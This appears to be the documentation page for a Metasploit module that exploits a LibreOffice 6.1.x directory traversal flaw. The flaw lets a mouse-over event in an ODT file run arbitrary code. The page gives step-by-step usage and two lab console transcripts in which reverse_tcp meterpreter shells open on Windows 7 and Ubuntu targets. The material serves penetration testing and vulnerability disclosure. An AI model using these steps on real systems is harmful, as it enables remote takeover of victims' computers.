Brent Cook
4.1 KiB
Description
This module exploits a directory traversal vulnerability in LibreOffice v6.1.0-6.1.2.1 that enables remote code execution.
Note: 6.0.x and 6.1.3.x versions are reportedly vulnerable to the directory traversal attack, but are not exploitable by
this module due to the lack of ability to pass arguments.
LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events
to them. A macro can be tied to a program event by including the script that contains the macro and the function
name to be executed. Additionally, a directory traversal vulnerability exists in the component that references the
Python script to be executed. This allows a program event to execute functions from Python scripts relative to the
path of the samples macros folder. The pydoc.py script included with LibreOffice contains the tempfilepager function
that passes arguments to os.system, allowing RCE.
This module generates an ODT file with a mouse over event that when triggered, will execute arbitrary code.
Vulnerable Application
LibreOffice v6.1.0-6.1.4.1. Vulnerable versions for both Windows and Linux can be found here.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/multi/fileformat/libreoffice_macro_exec - Do:
set FILENAME <name> - Do:
set LHOST <ip> - Do:
set LPORT <port> - Do:
run - Move the generated file to the target
- Start a handler
- Open the file with a vulnerable version of LibreOffice
- You should get a shell.
Scenarios
Tested on LibreOffice 6.1.2.1 running Windows 7
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run
[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (179779 bytes) to 192.168.37.156
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.156:49180) at 2019-04-12 15:14:04 -0500
meterpreter > getuid
Server username: WIN-MGMN7ND70I1\a_user
meterpreter > sysinfo
Computer : WIN-MGMN7ND70I1
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
Tested on LibreOffice 6.1.0.1 running Ubuntu 18.04
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set target 1
target => 1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run
[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.37.1
LHOST => 192.168.37.1
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (985320 bytes) to 192.168.37.174
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.174:39912) at 2019-04-12 14:50:08 -0500
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 192.168.37.174
OS : Ubuntu 18.04 (Linux 4.18.0-16-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux